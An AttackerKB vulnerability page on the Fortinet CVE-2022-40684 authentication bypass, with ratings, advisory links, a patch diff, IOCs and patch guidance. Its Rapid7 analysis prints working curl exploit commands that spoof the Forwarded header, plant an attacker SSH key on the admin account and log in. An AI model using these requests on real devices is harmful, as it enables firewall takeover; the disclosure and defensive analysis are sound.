Very High
CVE-2022-40684
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-40684
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An authentication bypass using an alternate path or channel [CWE-288] in Fortinet FortiOS version 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy version 7.2.0 and version 7.0.0 through 7.0.6 and FortiSwitchManager version 7.2.0 and 7.0.0 allows an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
A vulnerability lets you send requests to the backend API service that appear to be coming from a trusted frontend application. As a result, you can call any REST API without authentication, which is pretty bad considering this is a security appliance.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
really easy to exploit and weaponize!
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportWithout further details this is speculation at best and is more likely to fall into the line of fear mongering than actionable intelligence. So far the only technical details that have been shared that I could find online was at https://www.fortiguard.com/psirt/FG-IR-22-377 which lists that FortiOS, FortiProxy and FortiSwitchManager may allow an unauthenticated attacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.
No details have actually been provided on what this HTTP or HTTPS request actually looks like though. The only details the advisory lists are that the device’s logs contain the string user="Local_Process_Access"
and that the request comes through the HTTP/HTTPS administrative interface on these devices.
Without further info we have no details on if this is part of the request itself or something else, if the request requires tampering with some complex serial data format which would make this harder to exploit or if it is a simple switch in some parameter, or any of the prerequisite information that might need to be gathered as an unauthenticated user to fully take advantage of this vulnerability.
There is a plan for them to release the blog post detailing more about this vulnerability but I think that may take some time whilst they wait for people to patch. Until then the only other hope is that someone does a patch diff of the code to see what was actually changed and then determine from that what the real issue was that was fixed.
CVSS V3 Severity and Metrics
General Information
Vendors
- fortinet
Products
- fortios,
- fortiproxy,
- fortiproxy 7.2.0,
- fortiswitchmanager 7.0.0,
- fortiswitchmanager 7.2.0
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Vendor Advisory (https://www.fortiguard.com/psirt/FG-IR-22-377)
- News Article or Blog (https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/)
- Other: Use via Initial Access Brokers (https://securityaffairs.co/wordpress/139085/cyber-crime/iabs-offers-access-via-fortinet-products.html)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Description
On October 3, 2022, Fortinet released a software update that addressed CVE-2022-40684, a critical authentication bypass vulnerability in their FortiOS (firewall) FortiProxy (web proxy), and FortiSwitch Manager products. The vulnerability allows remote, unauthenticated attackers to bypass authentication and gain access to the administrative interface of these products by using a specially crafted http/s request.
While their initial communications were private to customers, on October 10, 2022, Fortinet released advisory FG-IR-22-377 with additional details about the vulnerability and confirmed that it had been exploited in the wild. Public and private sources have now confirmed that exploitation is ongoing. It’s also been added to CISA’s known exploited vulnerability list.
Security firm Horizon3 published a proof-of-concept exploit on October 13, 2022, along with technical analysis of the vulnerability.
The following products are affected:
- FortiOS 7.0.0 to 7.0.6
- FortiOS 7.2.0 to 7.2.1
- FortiProxy 7.0.0 to 7.0.6
- FortiProxy 7.2.0
- FortiSwitchManager 7.0.0
- FortiSwitchManager 7.2.0
Technical analysis
We downloaded VMware builds for Fortigate 7.0.6 and 7.0.7, which are distributed as .zip
files containing .ovf
images:
-rw-r--r--. 1 ron games 71680 Aug 23 2010 datadrive.vmdk -rw-r--r--. 1 ron games 30635 Jun 6 13:39 FortiGate-VM64.hw13.ovf -rw-r--r--. 1 ron games 30635 Jun 6 13:39 FortiGate-VM64.hw15.ovf -rw-r--r--. 1 ron games 14128 Jun 6 13:39 FortiGate-VM64.nsxt.ovf -rw-r--r--. 1 ron games 26990 Jun 6 13:39 FortiGate-VM64.ovf -rw-r--r--. 1 ron games 45063 Jun 6 13:39 FortiGate-VM64.vapp.ovf -rw-r--r--. 1 ron games 75711488 Jun 6 13:39 fortios.vmdk -rw-r--r--. 1 ron games 1189 Jun 6 13:39 readme.txt
Of the two filesystems, fortios.vmdk
contains the operating system and applications (compressed). We mounted the .vmdk
file in a VM for analysis, and found the following filesystem:
$ ls -l total 73416 -rw-r--r--. 1 ron games 1 Oct 12 10:46 boot.msg -rw-r--r--. 1 ron games 11670691 Oct 12 10:46 datafs.tar.gz -rw-r--r--. 1 ron games 155 Oct 12 10:46 extlinux.conf -rw-r--r--. 1 ron games 53 Oct 12 10:46 filechecksum -rw-r--r--. 1 ron games 4147088 Oct 12 10:46 flatkc -rw-r--r--. 1 ron games 256 Oct 12 10:46 flatkc.chk -r--r--r--. 1 ron games 122656 Oct 12 10:46 ldlinux.c32 -r--r--r--. 1 ron games 69632 Oct 12 10:46 ldlinux.sys drwx------. 1 ron games 64 Oct 12 10:46 lost+found/ -rw-r--r--. 1 ron games 59163365 Oct 12 10:46 rootfs.gz -rw-r--r--. 1 ron games 256 Oct 12 10:46 rootfs.gz.chk
We extracted datafs.tar.gz
, which is largely configuration files (a /etc/
filesystem). Then we looked at rootfs.gz
, which extracts to a cpio
archive:
$ file rootfs rootfs: ASCII cpio archive (SVR4 with no CRC)
Having just worked with cpio
, we knew exactly how to extract it:
$ cpio -i -d --no-absolute-filenames < ./rootfs [...]
That, in turn, extracted into a filesystem containing several .xz
files. Like Horizon3, we couldn’t extract the .xz
files using the system-level xz
executable, but we could use Fortinet’s by setting up the loader where they expect it to be:
fortigate/fortigate-7.0.6/root/sbin $ mkdir -p /fortidev/lib64/ fortigate/fortigate-7.0.6/root/sbin $ sudo cp ../lib/ld-linux-x86-64.so.2 /fortidev/lib64/ fortigate/fortigate-7.0.6/root/sbin $ LD_LIBRARY_PATH=../lib ./xz -vd ../usr.tar.xz [...]
We repeated that for all the .xz files to extract the full operating system plus applications. Since most of the JavaScript files that power the device are minified and then gzipped, we used find
to un-gzip and beautify all of the JavaScript files:
fortigate/fortigate-7.0.6/root $ find . -type f -name '*.gz' -exec gunzip "{}" \; fortigate/fortigate-7.0.6/root $ find . -iname '*.js' -exec ~/.local/bin/js-beautify -r {} \;
Then we repeated the exact same steps on Fortigate 7.0.7, and diff
’d the filesystems.
$ diff -rub fortigate-7.0.6/ fortigate-7.0.7/ > fortigate.diff
Upon manually inspecting the output, very little had changed. But this caught our eye:
diff -rub fortigate-7.0.6/root/node-scripts/index.js fortigate-7.0.7/root/node-scripts/index.js --- fortigate-7.0.6/root/node-scripts/index.js 2022-10-12 14:13:15.000000000 -0700 +++ fortigate-7.0.7/root/node-scripts/index.js 2022-10-12 14:15:24.000000000 -0700 @@ -15092,7 +15092,22 @@ port: SYMBOLS.HTTPSD_LISTEN_PORT, path: overrideUrl || this.request.url, onReq: (req, opt) => { - Object.assign(opt.headers, this._proxyHeaders); + const { + localAddress, + localPort, + remoteAddress, + remotePort + } = req.socket; + // All headers use by httpsd should always setup with initial value instead of skip + Object.assign( + opt.headers, { + forwarded: `by="[${localAddress}]:${localPort}";` + + `for="[${remoteAddress}]:${remotePort}"`, + 'x-forwarded-vdom': '', + 'x-forwarded-cert': '' + }, + this._proxyHeaders + ); }, onRes: (req, res, proxyRes) => { const {
Misusing Object.assign
here allows a user to supply unintended headers in a proxied request. From context, it seems that Fortinet is forwarding the user’s request to a back-end application, and the patch ensures that the Forwarded
header (and a couple others) are correctly set to safe values.
Interestingly, this is the second time in the recent past that a networking device has been vulnerable to an attack that alters HTTP headers in a proxied request to make it appear that the request is coming from a trusted source (the previous was CVE-2022-1388 (our analysis)).
Horizon3’s proof of concept confirms this; it sets the HTTP Forwarded
header to make it appear to be coming from a trusted application, as well as a User-Agent
that is authorized to access localhost in this manner:
HEADERS = { 'User-Agent': 'Report Runner', 'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"' }
Using this, we can call any API function that Fortigate supports, but to demonstrate the impact, we’re going to overwrite the admin
account’s SSH key. First, however, we’ll dump their current SSH(s) key if they’re set. If you don’t do this, you could lock out legitimate users!
$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public- key1"' "\"ssh-rsa AAAA[...]Ssc= realadmin@realadminhost\"" $ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public-key2"' "" $ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public- key3"' ""
In that example, ssh-public-key1
is set to a key belonging to realadmin@realadminhost
, but ssh-public-key2
and ssh-public-key3
are not set. We can save ssh-public-key1
somewhere so we can restore it later, or use the second or third slot (note that the public PoC will overwrite the first key without checking, potentially locking out real administrators!)
The version of Fortigate we tested seems to be strict about which types of keys it accepts, and doesn’t accept the default key algorithms that Fedora and Ubuntu use, we create a new key using the ssh-ed25519
algorithm:
$ ssh-keygen -t ssh-ed25519 Generating public/private ssh-ed25519 key pair. Enter file in which to save the key (/home/ron/.ssh/id_ed25519): ./test_key Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./test_key Your public key has been saved in ./test_key.pub [...] $ cat test_key.pub ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5aiZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora
Then we set the key as ssh-public-key2
on admin
:
$ curl -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' --data-binary '{"ssh-public-key2": "\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5a iZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora\""}' http://10.0.0.186/api/v2/cmdb/system/admin/admin { "http_method":"PUT", "revision":"40f3c00bc368999ee4fb36d86b018e80", "revision_changed":false, "cli_error":"SSH key is good.\nnode_check_object fail! for name admin\n\nvalue parse error before 'admin'\nCommand fail. Return code -37\n", "error":-37, "status":"error", "http_status":500, "vdom":"root", "path":"system", "name":"admin", "mkey":"admin", "serial":"FGVMEVQLI65ZG419", "version":"v7.0.6", "build":366 }
In spite of the error message, it should be set! You can validate by grabbing the key the way we did earlier:
$ curl -s -X GET -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000"' http://10.0.0.186/api/v2/cmdb/system/admin/admin | jq '.results[]."ssh-public-key2"' "\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKvqNT5aiZwI7kxfRx5fEbe62QcrK5etE/j5523Of7v5 ron@fedora\""
And, of course, we can validate by just using the key (we grabbed the user account list to demonstrate what you can do):
$ ssh -i ./test_key admin@10.0.0.186 FortiGate-VM64 # FortiGate-VM64 # show system admin config system admin edit "admin" set accprofile "super_admin" set vdom "root" set password ENC SH2E8LERtpRSSW7uTJO4ExsrjOPLcS8PKD+i8u84PipsjMfafnr6xAD/rSi6LI= next end
IOCs
The best indication that somebody has exploited this vulnerability comes from Fortinet’s advisory:
Fortinet is aware of an instance where this vulnerability was exploited, and recommends immediately validating your systems against the following indicator of compromise in the device’s logs:
user="Local_Process_Access"
Guidance
On Thursday, October 6, 2022, Fortinet released version 7.0.7 and version 7.2.2, which resolves the vulnerability. Organizations should update to a fixed version of the software for their products on an emergency basis.
Fortigate has also posted workaround instructions, which can be used as a stop-gap measure until a patch can be rolled out.
Furthermore, Rapid7 recommends that all high-value edge devices limit public access to any administrative interface.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: